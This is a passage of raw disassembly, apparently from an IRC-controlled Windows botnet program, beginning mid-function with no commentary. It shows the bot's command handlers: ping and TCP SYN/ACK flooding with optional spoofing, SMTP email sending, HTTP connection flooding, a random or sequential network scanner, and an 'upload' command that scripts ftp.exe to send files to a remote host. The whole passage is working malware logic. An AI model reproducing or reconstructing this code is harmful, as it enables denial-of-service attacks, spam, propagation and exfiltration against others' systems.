push offset aNetsend ; "netsend"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
push offset asc_42CDC0 ; " "
push offset dword_42B934
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944 ; WSAStartup
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24 ; send
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
push esi
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+var_458C]
push eax
push offset unk_42AEFC
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE70
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset sub_4149C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE00
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADB8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset sub_413E10
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF4
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: .packed:004330E0o
; .packed:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC44
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset sub_413F9C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AC0C
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABA8
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB08
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CA1D
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A968
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
